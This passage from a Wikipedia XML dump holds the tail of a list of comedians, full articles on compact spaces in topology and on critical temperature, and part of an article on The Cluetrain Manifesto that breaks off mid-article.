* [[Ed O'Neill]]
* [[Bill Oddie]]
* [[Bob Odenkirk]]
* [[John Oliver]]
* [[Patton Oswalt]]
* [[Otto Osworth]]
* [[Cheri Oteri]]

=== P ===
* [[Jack Paar]] (1918-2004)
* [[Frankie Pace]]
* [[Michael Palin]]
* [[Trey Parker]]
* [[Sarah Jessica Parker]]
* [[Andy Parsons]]
* [[Wild Willy Parsons]] (The Original Biker Comic)
* [[Joe Pasquale]]
* [[Rob Paulsen]]
* [[Sue Perkins]]
* [[Russell Peters]]
* [[Emo Philips]] (often misspelled as Phillips)
* [[Nigel Planer]]
* [[Mike Pollock]]
* [[Lucy Porter]]
* [[Paula Poundstone]]
* [[Freddie Prinze]]
* [[Greg Proops]]
* [[Paul Provenza]]
* [[Richard Pryor]]
* [[Steve Punt]]

=== Q ===
* [[Randy Quaid]]
* [[Colin Quinn]]

=== R ===
* [[Gilda Radner]]
* [[Ted Ray]]
* [[Al Read]]
* [[Howard Read]]
* [[Vic Reeves]]
* [[Brian Regan]]
* [[Carl Reiner]]
* [[Roy Rene]]
* [[Rick Reynolds]]
* [[Michael Richards]]
* [[Don Rickles]]
* [[Joan Rivers]]
* [[Tony Robinson]] as Baldrick
* [[Chris Rock]]
* [[Paul Rodriguez]]
* [[Henry Rollins]]
* [[Ray Romano]]
* [[Patsy Rowlands]]
* [[Rita Rudner]]
* [[Maya Rudolph]]
* [[William Rushton]]
* [[Will Rogers]]
* [[Mark Russell]]

=== S ===
* [[Ernie Sabella]]
* [[Jerry Sadowitz]]
* [[Bob Saget]] (1956-)
* [[Adam Sandler]]
* [[Erskine Sanford]] (1885-1969)
* [[Martin Sargent]]
* [[Jennifer Saunders]]
* [[Alexei Sayle]]
* [[Mark Schiff]]
* [[Gus Schilling]] (1908-1957)
* [[Art Paul Schlosser]]
* [[Harald Schmidt]]
* [[Rob Schneider]]
* [[Harry Secombe]]
* [[Jerry Seinfeld]]
* [[Peter Sellers]] &quot;Pink Panther&quot;
* [[Mack Sennett]]
* [[Paul Shaffer]]
* [[Garry Shandling]]
* [[Harry Shannon]] (1890-1964)
* [[Molly Shannon]]
* [[Harry Shearer]] (1943-)
* [[Scott Shields]]
* [[Ken Shimura]] (1950-)
* [[Pauly Shore]]
* [[Martin Short]]
* [[Sarah Silverman]]
* [[Phil Silvers]]
* [[Joan Sims]]
* [[Sinbad (actor)|Sinbad]]
* [[Red Skelton]]
* [[Frank Skinner]]
* [[Tony Slattery]]
* [[Brendon Small]]
* [[Robert Smigel]]
* [[Linda Smith (comedian)|Linda Smith]]
* [[Will Smith]] (1968-)
* [[Paul Stewart (actor)|Paul Stewart]] (1908-1986)
* [[Dana Snyder]]
* [[David Spade]] (1964-)
* [[Ron Sparks]]
* [[Dave Spikey]] (1950-)
* [[Arnold Stang]]
* [[Doug Stanhope]]
* [[Vivian Stanshall]]
* [[Mark Steel]]
* [[Pamela Stephenson]]
* [[Jon Stewart]]
* [[Ryan Stiles]]
* [[Ben Stiller]]
* [[Matt Stone]]
* [[Jud Strunk]]
* [[Jolene Sugarbaker]]
* [[Julia Sweeney]]
* [[Eric Sykes]]
* [[Wanda Sykes]]

=== T ===
* [[Masashi Tashiro]] (1956-)
* [[Dave Thomas (actor)|Dave Thomas]]
* [[Mark Thomas]]
* [[Terry-Thomas]]
* [[Greg Thomey]]
* [[Scott Thompson]]
* [[Kai Tier]]
* [[Tommy Tiernan]]
* [[Christopher Titus]]
* [[Sandi Toksvig]]
* [[Lily Tomlin]]
* [[Barry Took]]
* [[Ben Turpin]]

=== U ===

* [[Tracey Ullman]]
* [[Stanley Unwin (comedian)|Stanley Unwin]]

=== V ===
* [[Johnny Vegas]]
* [[Billy Van]]
* [[Colin Van Benga]]
* [[Thomas Vitale]]
* [[Dan Vitale]]

=== W ===
* [[Christopher Walken]]
* [[Max Wall]]
* [[Ruth Wallis]]
* [[Greg Walloch]]
* [[Bradley Walsh]]
* [[Mary Walsh]]
* [[Eric Wareheim]]
* [[Ruby Wax]]
* [[Damon Wayans]]
* [[Keenan Ivory Wayans]]
* [[Morgan Webb]]
* [[Frank Welker]]
* [[Ron White]] (1956-)
* [[Paul Whitehouse]]
* [[June Whitfield]]
* [[Daniel Whitney]] (Larry the Cable Guy) (1963-)
* [[Gene Wilder]]
* [[Bert Williams]]
* [[Kenneth Williams]]
* [[Robin Williams]]
* [[Dave Willis]]
* [[Jonathan Winters]]
* [[Norman Wisdom]]
* [[Victoria Wood]]
* [[Glenn Wool]]
* [[Harry Worth]]
* [[Steven Wright]]

=== Y ===
* [[&quot;Weird Al&quot; Yankovic]]
* [[Gina Yashere]]

=== Z ===
* [[Andy Zaltzman]]
* [[Monty Zuma]]
* [[Pete Zedlacher]]

==Groups of comedians==

* [[Abbott and Costello]]
* [[The Art Stars]]
* [[Beyond the Fringe]]
* [[Bloodhound Gang]]
* [[Bob and Ray]]
* The [[Bonzo Dog Doo-Dah Band]]
* [[Broken Lizard]]
* [[Les Charlots]]
* [[Cheech and Chong]]
* [[The Comedy Store Players]]
* [[The Comic Strip]]
* [[The Consultants]]
* [[Corky and the Juice Pigs]]
* [[The Crazy Gang]]
* [[The Firesign Theatre]]
* [[French and Saunders]]
* [[Gallagher &amp; Shean]]
* [[The Goons]]
* [[Gröûp X]]
* [[The Grumbleweeds]]
* [[Laurel and Hardy]]
* The [[League of Gentlemen]]
* The [[Marijuana Logues]]
* The [[Marx Brothers]]
* The [[Bob &amp; Doug McKenzie|McKenzie Brothers]] (Bob &amp; Doug)
* [[Monty Python's Flying Circus]]
* [[The O'Debra Twins]]
*[[Upright Citizens Brigade]]
* [[Morecambe and Wise]]
* [[Pete and Dud]]
* [[Punt and Dennis]]
* [[Rowan and Martin's Laugh-in]]
* The [[Royal Canadian Air Farce]]
* The [[Smothers Brothers]]
* [[This Hour Has 22 Minutes]]
* [[Not Ready for Prime-Time Players]] (''[[Saturday Night Live]]'')
* The [[Three Stooges]]
* [[The Trap]]
* [[Reeves and Mortimer]]
* [[Wayne and Shuster]]
* The [[Whimsical Icebox]]

==Comedy writers==

* [[Woody Allen]]
* [[Chesney and Wolfe]]
* [[Roy Clarke]]
* [[Clement and La Frenais]]
* [[David Croft]]
* [[Harry Driver]]
* [[Esmonde and Larbey]]
* [[W. S. Gilbert]]
* [[Galton and Simpson]]
* [[Willis Hall]]
* [[Anthony Jay]]
* [[Carla Lane]]
* [[Jeremy Lloyd]]
* [[David Nobbs]]
* [[Muir and Norden]]
* [[S. J. Perelman]]
* [[Jimmy_Perry_%28comedy_writer%29|Jimmy Perry]]
* [[David Renwick]]
* [[Jack Rosenthal]]
* [[Johnny Speight]]
* [[John Sullivan (writer) |John Sullivan]]
* [[Peter Tinniswood]]
* [[Keith Waterhouse]]

==See also==
*[[List of humorists]]
*[[List of musical comedians]] 
*[[List of Dr Demento's radio show comedians]] 
*[[List of American comedians]]
*[[List of British comedians]]
*[[List of Hispanic or Latinamerican comedians]]
*[[List of Italian comedians]]
*[[List of Norwegian comedians]]
*[[List of Portuguese comedians]]
*[[List of Puerto Rican comedians]]
*[[List of Quebec comedians]]
*[[List of entertainer pairs]]

[[Category:Lists of people by occupation|Comedians]]
[[Category:Comedians| ]]


[[sq:Lista e komedianve]]</text>
    </revision>
  </page>
  <page>
    <title>Compact space</title>
    <id>6042</id>
    <revision>
      <id>41931306</id>
      <timestamp>2006-03-02T18:31:42Z</timestamp>
      <contributor>
        <username>Fell Collar</username>
        <id>1014813</id>
      </contributor>
      <comment>/* History and motivation */ changed wording, clarified</comment>
      <text xml:space="preserve">In [[mathematics]], a subset of [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is called '''compact''' if it is [[closed set|closed]] and [[bounded set|bounded]]. For example, in '''R''', the closed [[unit interval]] [0, 1] is compact, but the set of [[integer]]s '''Z''' is not (it is not bounded) and neither is the half-open interval &lt;nowiki&gt;[0, 1)&lt;/nowiki&gt; (it is not closed).

A more modern approach is to call a [[topological space]] '''compact''' if each of its [[open cover]]s has a finite subcover. The [[Heine–Borel theorem]] affirms that this coincides with &quot;closed and bounded&quot; for subsets of Euclidean space.

Note: Some authors such as [[Bourbaki]] use the term &quot;'''quasi-compact'''&quot; instead and reserve the name &quot;compact&quot; for topological spaces that are [[Hausdorff spaces|Hausdorff ]] and compact.

== History and motivation ==

The term ''compact'' was introduced by [[Maurice René Fréchet|Fréchet]] in [[1906]].

It has long been recognized that a property like compactness is necessary to prove a lot of useful theorems. It used to be that &quot;compact&quot; meant &quot;sequentially compact&quot; (every [[sequence]] has a convergent subsequence). This was when primarily [[metric space]]s were studied. The &quot;covering compact&quot; definition surpassed it because it allows us to consider the general topological space, and many of the old results about metric spaces can be generalized.

One of the main reasons for studying compact spaces is because they are in some ways very similar to [[finite set]]s. In other words, there are many results which are easy to show for finite sets, the proofs of which carry over with minimal change to compact spaces. It is often said that &quot;compactness is the next best thing to finiteness&quot;. Here is an example:

* Suppose ''X'' is a [[Hausdorff space]], and we have a point ''x'' in ''X'' and a finite subset ''A'' of ''X'' not containing ''x''. Then we can [[separated sets|separate]] ''x'' and ''A'' by [[neighbourhood (topology)|neighbourhood]]s: for each ''a'' in ''A'', let ''U''(''x'') and ''V''(''a'') be disjoint neighbourhoods containing ''x'' and ''a'', respectively. Then the intersection of all the ''U''(''x'') and the union of all the ''V''(''a'') are the required neighbourhoods of ''x'' and ''A''.

Note that if ''A'' is [[infinite]], the proof fails, because the intersection of arbitrarily many neighbourhoods of ''x'' might not be a neighbourhood of ''x''. The proof can be &quot;rescued&quot;, however, if ''A'' is compact: we simply take a finite subcover of the cover {''V''(''a'')} of ''A''. In this way, we see that in a Hausdorff space, any point can be separated by neighbourhoods from any compact set not containing it. In fact, repeating the argument shows that any two disjoint compact sets in a Hausdorff space can be separated by neighbourhoods -- note that this is precisely what we get if we replace &quot;point&quot; (i.e. [[singleton set]]) with &quot;compact set&quot; in the Hausdorff [[separation axiom]]. Many of the arguments and results involving compact spaces follow such a pattern.

== Definitions ==
=== Compactness of subsets of '''R'''&lt;sup&gt;''n''&lt;/sup&gt;===

For any [[subset]] of [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, the following four conditions are equivalent:
* Every open cover has a finite subcover.  This is the definition most commonly used.
* Every [[sequence]] in the set has a [[convergent]] subsequence, the limit point of which belongs to the set.
* Every infinite subset of the set has an [[accumulation point]] in the set.
* The set is [[Closed_set|closed]] and [[bounded set|bounded]].  This is the condition that is easiest to verify, for example a closed [[interval (mathematics)|interval]] or closed ''n''-ball.

In other spaces, these conditions may or may not be equivalent, depending on the properties of the space.

=== Compactness of topological spaces ===
The &quot;finite subcover&quot; property from the previous paragraph is more abstract than the &quot;closed and bounded&quot; one, but it has the distinct advantage that it can be given using the [[subspace topology]] on a subset of '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, eliminating the need of using a metric or an ambient space.  Thus, compactness is a [[topological property]]. In a sense, the closed unit interval [0,1] is intrinsically compact, regardless of how it is embedded in '''R''' or '''R'''&lt;sup&gt;''n''&lt;/sup&gt;. 

The general definition goes as follows. A topological space is called compact [[iff]] all its open covers have a finite subcover. Formally, this means that
:for every arbitrary collection  &lt;math&gt;\{U_i\}_{i\in I}&lt;/math&gt; of open subsets of &lt;math&gt;X&lt;/math&gt; such that &lt;math&gt;\cup_{i\in I} U_i = X&lt;/math&gt;, there is a finite subset &lt;math&gt;J\subset I&lt;/math&gt; such that &lt;math&gt;\cup_{i\in J} U_i = X&lt;/math&gt;.

An often used equivalent definition is given in terms of the [[finite intersection property]]: if any collection of closed sets satisfying the finite intersection property has nonempty intersection, then the space is compact.  This definition is dual to the usual one stated in terms of open sets.

Some authors require that a compact space also be [[Hausdorff space|Hausdorff]], and the non-Hausdorff version is then called '''quasicompact'''.

== Examples of compact spaces ==
* The [[empty set]].
* The closed [[unit interval]] [0, 1] is compact. (But not the half-open interval &lt;nowiki&gt;[&lt;/nowiki&gt;0, 1)).
* For every [[natural number]] ''n'', the ''n''-[[sphere]] is compact.
* The [[Cantor set]] is compact. Since the [[p-adic numbers|''p''-adic integers]] are [[homeomorphic]] to the Cantor set, they also form a compact set.
* Any finite [[topological space]], including the [[empty set]], is compact.  Slightly more generally, any space with a finite topology (only finitely many open sets) is compact; this includes in particular the trivial topology.
* Any space carrying the [[cofinite topology]] is compact.
* The [[spectrum of an operator|spectrum]] of any [[continuous function (topology)|continuous]] [[linear operator]] on a [[Hilbert space]] is a compact subset of [[complex number|'''C''']]. 
* The [[spectrum of a ring|spectrum]] of any [[commutative ring]] or [[Boolean algebra]] is compact.
* The [[Hilbert cube]] is compact.
* The [[right order topology]] or [[left order topology]] on any bounded [[totally ordered set]] is compact. In particular, [[Sierpinski space]] is compact.

== Theorems ==

Some theorems related to compactness (see the [[Topology Glossary]] for the definitions):

* A [[continuous function (topology)|continuous]] image of a compact space is compact.
* A closed subset of a compact space is compact.
* A compact subset of a [[Hausdorff space]] is closed.
* A nonempty compact subset of the [[real number|real numbers]] has a greatest element and a least element.
* A subset of [[Euclidean space|Euclidean ''n''-space]] is compact if and only if it is closed and bounded. ([[Heine–Borel theorem]])
* A [[metric space]] (or [[uniform space]]) is compact if and only if it is [[completeness (topology)|complete]] and [[totally bounded]].
* The [[product topology|product]] of any collection of compact spaces is compact. ([[Tychonoff's theorem]] -- this is equivalent to the [[axiom of choice]])
* A compact Hausdorff space is [[normal space|normal]].
* Every continuous [[bijective]] map from a compact space to a Hausdorff space is a [[homeomorphism]].
* A metric space is compact if and only if every [[sequence]] in the space has a convergent subsequence.
* A topological space is compact if and only if every [[Net (mathematics)|net]] on the space has a convergent subnet.
* A topological space is compact if and only if every [[mathematical filter|filter]] on the space has a convergent refinement.
* A topological space is compact if and only if every [[ultrafilter]] on the space is convergent.
* A topological space can be embedded in a compact Hausdorff space if and only if it is a [[Tychonoff space]].
* Every topological space ''X'' is a [[dense topological subspace|dense subspace]] of a compact space which has at most one point more than ''X''. ([[Compactification|Alexandroff one-point compactification]])
* A metric space ''X'' is compact if and only if every metric space [[homeomorphic]] to ''X'' is complete.
* If the metric space ''X'' is compact and an open cover of ''X'' is given, then there exists a number &amp;delta; &gt; 0 such that every subset of ''X'' of diameter &lt; &amp;delta; is contained in some member of the cover. (Lebesgue's number lemma) 
* If a topological space has a sub-base such that every cover of the space by members of the sub-base has a finite subcover, then the space is compact. (Alexander's Sub-base Theorem)
* Two compact Hausdorff spaces ''X''&lt;sub&gt;1&lt;/sub&gt; and ''X''&lt;sub&gt;2&lt;/sub&gt; are homeomorphic if and only if their [[mathematical ring|rings]] of continuous real-valued functions C(''X''&lt;sub&gt;1&lt;/sub&gt;) and C(''X''&lt;sub&gt;2&lt;/sub&gt;) are [[ring homomorphism|isomorphic]].

== Other forms of compactness ==

There are a number of topological properties which are equivalent to compactness in [[metric spaces]], but are inequivalent in general topological spaces. These include the following.

* '''Sequentially compact''': Every [[sequence]] has a convergent subsequence.
* '''Countably compact''': Every countable open cover has a finite subcover.  (Or, equivalently, every infinite subset has an &amp;omega;-accumulation point.)
* '''Pseudocompact''': Every real-valued [[continuous function (topology)|continuous]] [[function (mathematics)|function]] on the space is bounded.
* '''Weakly countably compact''' (or '''limit point compact'''): Every infinite subset has an accumulation point.

While all these conditions are equivalent for [[metric space]]s, in general we have the following implications:

* Compact spaces are countably compact.
* Sequentially compact spaces are countably compact.
* Countably compact spaces are pseudocompact and weakly countably compact.

Not every countably compact space is compact; an example is given by the first uncountable ordinal with the order topology.
Not every compact space is sequentially compact; an example is the infinite product space 2 &lt;sup&gt;'''[0, 1]'''&lt;/sup&gt; with the product topology.

A metric space is called pre-compact or [[totally bounded]] if any sequence has a Cauchy subsequence; this can be generalised to [[uniform space]]s. For complete metric spaces this is equivalent to compactness. See [[relatively compact]] for the topological version.

Another related notion that is usually strictly weaker than compactness is [[locally compact space|local compactness]].

== See also ==
* [[exhaustion by compact sets]]

==References==
* Lynn Arthur Steen and J. Arthur Seebach, Jr., ''[[Counterexamples in Topology]]'' (1978) Springer-Verlag, New York

[[Category:Topology]]
[[Category:General topology]]
[[Category:Mathematical theorems]]

[[de:Kompakter Raum]]
[[fr:Espace compact]]
[[ja:コンパクト (数学)]]
[[nl:Compact]]
[[pl:Przestrzeń zwarta]]
[[ru:Компактное пространство]]
[[tr:Tıkızlık]]</text>
    </revision>
  </page>
  <page>
    <title>Critical temperature</title>
    <id>6043</id>
    <revision>
      <id>40765675</id>
      <timestamp>2006-02-22T21:54:06Z</timestamp>
      <contributor>
        <ip>68.42.138.135</ip>
      </contributor>
      <text xml:space="preserve">The '''critical temperature''', T&lt;sub&gt;c&lt;/sub&gt;, of a material is the [[temperature]] above which distinct [[liquid]] and [[gas]] [[phases of matter|phases]] do not exist. As the critical temperature is approached, the properties of the gas and liquid phases become the same. Above the critical temperature, there is only one phase. The critical [[pressure]] is the vapor pressure at the critical temperature. The critical [[mole (unit)|molar]] [[volume]] is the volume of one mole of material at the critical temperature and pressure.  On diagrams showing [[thermodynamic]] properties for a given substance, the point at critical temperature and critical pressure is called the [[critical point]] of the substance.  

Critical properties vary from material to material, just as is the case for the [[melting point]] and [[boiling point]].  Critical properties for many pure substances are readily available in the literature.  Obtaining critical properties for mixtures is somewhat more problematic. 

For pure substances, there is an [[inflection point]] in the critical [[isotherm]] on a PC diagram.  This means that at the critical point:

:&lt;math&gt;\left(\frac{\partial P}{\partial V}\right)_T = \left(\frac{\partial^2P}{\partial V^2}\right)_T = 0&lt;/math&gt;

This relation can be used to evaluate two parameters for an equation of state in terms of the critical properties.  

Sometimes a set of reduced properties are defined in terms of the critical properties, ie.:

:&lt;math&gt;T_r = T/T_c&lt;/math&gt;

:&lt;math&gt;P_r = P/P_c&lt;/math&gt;

:&lt;math&gt;V_r = V/V_c&lt;/math&gt;

The ''principle of corresponding states'' indicates that substances at equal reduced pressures and temperatures have equal reduced volumes.  This relationship is approximately true for many substances, but becomes increasingly inaccurate for large values of P&lt;sub&gt;r&lt;/sub&gt;

Two [[miscibility|immiscible]] liquids, such as oil and water, will also have a critical temperature and pressure at which the two phases will become consolute.

== Critical temperature of selected elements ==

&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td align=&quot;top&quot;&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;th&gt;'''Element'''&lt;/th&gt;&lt;th&gt;'''Critical temperature (°C)'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Argon]]&lt;/td&gt;&lt;td&gt;-122.29&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Arsenic]]&lt;/td&gt;&lt;td&gt;1400&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Bromine]]&lt;/td&gt;&lt;td&gt;315&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Chlorine]]&lt;/td&gt;&lt;td&gt;143.8&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Fluorine]]&lt;/td&gt;&lt;td&gt;-128.85&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Helium]]&lt;/td&gt;&lt;td&gt;-267.96&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Hydrogen]]&lt;/td&gt;&lt;td&gt;-240.17&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Iodine]]&lt;/td&gt;&lt;td&gt;546&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Krypton]]&lt;/td&gt;&lt;td&gt;-63.7&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Mercury_(element)|Mercury]]&lt;/td&gt;&lt;td&gt;1477&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Neon]]&lt;/td&gt;&lt;td&gt;-228.75&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Nitrogen]]&lt;/td&gt;&lt;td&gt;-146.9&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Oxygen]]&lt;/td&gt;&lt;td&gt;-118.57&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Phosphorus]]&lt;/td&gt;&lt;td&gt;721&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Radon]]&lt;/td&gt;&lt;td&gt;105&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Selenium]]&lt;/td&gt;&lt;td&gt;1493&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Sulfur]]&lt;/td&gt;&lt;td&gt;1041&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Xenon]]&lt;/td&gt;&lt;td&gt;16.58&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

== Critical temperature of selected [[molecule]]s ==

&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td align=&quot;top&quot;&gt;&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;&gt;
&lt;tr&gt;&lt;th&gt;'''Compound'''&lt;/th&gt;&lt;th&gt;'''Critical temperature (°C)'''&lt;/th&gt;&lt;th&gt;'''Critical pressure (atm)'''&lt;/th&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;[[Ammonia]] (NH&lt;sub&gt;3&lt;/sub&gt;)&lt;/td&gt;&lt;td align=center&gt;132&lt;/td&gt;&lt;td align=center&gt;115&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;[[Carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;)&lt;/td&gt;&lt;td align=center&gt;31.2&lt;/td&gt;&lt;td align=center&gt;77&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Carbon monoxide]] (CO)&lt;/td&gt;&lt;td align=center&gt;-141&lt;/td&gt;&lt;td align=center&gt;35.9&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Ethanol]] (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;O)&lt;/td&gt;&lt;td align=center&gt;216&lt;/td&gt;&lt;td align=center&gt;65&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Methane]] (CH&lt;sub&gt;4&lt;/sub&gt;)&lt;/td&gt;&lt;td align=center&gt;-82&lt;/td&gt;&lt;td align=center&gt;45.8&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Propane]] (C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;)&lt;/td&gt;&lt;td align=center&gt;97&lt;/td&gt;&lt;td align=center&gt;42&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Sulfur dioxide]] (SO&lt;sub&gt;2&lt;/sub&gt;)&lt;/td&gt;&lt;td align=center&gt;157&lt;/td&gt;&lt;td align=center&gt;77.8&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[Water]] (H&lt;sub&gt;2&lt;/sub&gt;O)&lt;/td&gt;&lt;td align=center&gt;374&lt;/td&gt;&lt;td align=center&gt;217.8&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==See also==
*[[Critical phenomena]]
*[[Critical exponent]]
*[[Critical point (chemistry)|critical point]]



[[Category:Condensed matter physics]]
[[Category:Phase changes]]

[[ca:Temperatura crítica]]
[[bg:Критична температура]]
[[de:Kritische Temperatur]]
[[eo:Kritika temperaturo]]
[[pl:Temperatura krytyczna]]
[[ru:Критическая температура]]
[[sl:Kritična temperatura]]

== Literature ==

* [[Hagen Kleinert]] and Verena Schulte-Frohlinde, ''Critical Properties of &amp;phi;&lt;sup&gt;4&lt;/sup&gt;-Theories'', [http://www.worldscibooks.com/physics/4733.html World Scientific (Singapur, 2001)];  Paperback ISBN 981-02-4658-76 '' (readable online  [http://www.physik.fu-berlin.de/~kleinert/b8 here])''</text>
    </revision>
  </page>
  <page>
    <title>The Cluetrain Manifesto</title>
    <id>6044</id>
    <revision>
      <id>38687504</id>
      <timestamp>2006-02-07T23:53:56Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Remove refs from Amazon URL</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}

'''''The Cluetrain Manifesto''''' is a set of 95 theses organised and put forward as a manifesto, or call to action, for all businesses operating within what is suggested to be a newly connected marketplace. 
The ideas put forward within the manifesto aim to examine the impact of the Internet on both markets (consumers) and organisations. In addition, as both consumers and organisations are able to utilise the Internet and Intranets to establish a previously unavailable level of communication both within and between these two groups, the manifesto suggests that the changes that will be required from organisations as they respond to the new marketplace environment.  

The manifesto was authored by [[Rick Levine]], [[Christopher Locke]], [[Doc Searls]], and [[David Weinberger]]. A printed publication which elaborated on the manifesto was published by Perseus Books (ISBN 0738204315) under the same name.

The authors assert that the Internet is unlike the ordinary media used in [[mass marketing]] as it enables people to have &quot;human to human&quot; conversations, which have the potential to transform traditional business practices radically.

The book and website both challenge what it calls outmoded, 20th-century thinking about business in light of the emergence of the Web, clearly listing &quot;[[95 theses]]&quot;, as a reference to [[Martin Luther]]'s manifesto which heralded the start of the [[Protestant]] movement.

The term ''cluetrain'' stems from this quote:

:&quot;The clue train stopped there four times a day for ten years and they never took delivery.&quot; — Veteran of a firm now free-falling out of the [[Fortune 500]]

==The main idea of the 'Cluetrain' theses==
A single paragraph summarises the essential position taken by the writers:

:&quot;A powerful global conversation has begun. Through the Internet, people are discovering and inventing new ways to share relevant knowledge with blinding speed. As a direct result, markets are getting smarter—and getting smarter faster than most companies.&quot;

&lt;b&gt;The 95 Theses&lt;/b&gt;

Although a reading of the 95 theses can lead to a number of divisions or aggregations, it is possible to make a somewhat arbitrary split of the listed theses as a basis for understanding the content of the printed publication and a simplified structural view of the main suppositions of the authors.

&lt;u&gt;Theses 1 – 6: Markets are Conversations&lt;/u&gt;

Historically, the authors state, the marketplace was a location where people gathered and talked to each other (thesis 1): they would discuss available products, price, reputation and in doing so connect with others (theses 2-5.)
The authors then assert that the internet is providing a means for anyone connected to the internet to re-enter such a virtual marketplace and once again achieve such a level of communication between people. This, prior to the internet, had not been available in the age of mass media (thesis 6.)

&lt;u&gt;Thesis 7: Hyperlinks Subvert Hierarchy&lt;/u&gt;

The ability of the internet to link to additional information – information which might exist beyond the formal hierarchy of organisational structure or published material from such an organisation – acts as a means of subverting, or bypassing, formal hierarchies.

&lt;u&gt;Theses 8-13: Connection between the new markets and companies&lt;/u&gt;

The same technology connecting people into markets outside of organisations, is also connecting employees within organisations (thesis 8.)  The authors suggest that these networks create a more informed marketplace/consumer  (thesis 9) through the conversations being held and the information available in the marketplace is superior to that available from the organisations themselves (thesis 10-12.)

The authors, through the remaining theses, then examine the impact that these changes will have on organisations and how, in turn, organisations will need to respond to the changing marketplace to remain viable.

&lt;u&gt;Theses 14 – 25: Organisations entering the marketplace&lt;/u&gt;

With the emergence of the virtual marketplace, the authors indicate that the onus will be on organisations to enter the marketplace conversation (thesis 25) and do so in a way that connects with the ‘voice’ of the new marketplace (thesis 14-16) or risk becoming irrelevant (thesis 16).

&lt;u&gt;Theses 26-40: Marketing &amp; Organisational Response&lt;/u&gt;
 
The authors then list of a number of theses that deal with the approach that they believe organisations will need to adopt if they are to successfully enter the new marketplace (thesis 26) as it is claimed that those within the new marketplace will no longer respond to the previously issued mass-media communications as such communication is not ‘authentic’ (thesis 33.)

&lt;u&gt;Theses 41-52: Intranets and the impact to organisation control and structure&lt;/u&gt;

More fully exploring the impact of the intranet within organisations, theses forty-one through fifty-two elaborate on the subversion of hierarchy initially listed as thesis seven.
When implemented correctly (theses 44-46), it is suggested that such intranets re-establish real communication amongst employees in parallel with the impact of the internet to the marketplace (thesis 48) and this will lead to a ‘hyperlinked’ organisational structure  within the organisation which will take the place (or be utilised in place of) the formally documented organisation chart (thesis 50).

&lt;u&gt;Theses 53:71: Connection the internet marketplace with corporate Intranets&lt;/u&gt;

The ideal, according the manifesto, is for the networked marketplace to be connected to the networked intranet so that full communication can exist between those within the marketplace and those within the company itself (thesis 53.) 
Achieving this level of communication is hindered by the imposition of ‘command and control’ structures (thesis 54-58) but, ultimately, organisations will need to allow this level of communication to exist as the new marketplace will no longer respond to the mass-media ‘voice’ of the organisation (theses 59-71)

&lt;u&gt;Theses 72: 95: New Market Expectations&lt;/u&gt;

Theses seventy-two through ninety-five aim to identify the expectations (thesis 76, 77,78,95) and changes (thesis 72) that exist within the new marketplace and how those expectations and changes will require a corresponding change from organisations (thesis 79, 84, 91, 92,94).

==The Technology to Facilitate Communication==
Rather than the existing forms of mass-media communication, the authors proposed that the Internet provided new means for both the markets and organisations to communicate. Technologies listed within the printed publication and used as examples of the style of communication available were:

•	Email

•	News groups

•	Mailing Lists

•	Chat

•	Web Pages

Newer technologies (such as blogs) could be added to the list. However, according to the manifesto, it is within the new Internet-enabled conversations that the new marketplace would join in conversation with networked employees.

==The Impact of the Internet and the Manifesto's Expectations==
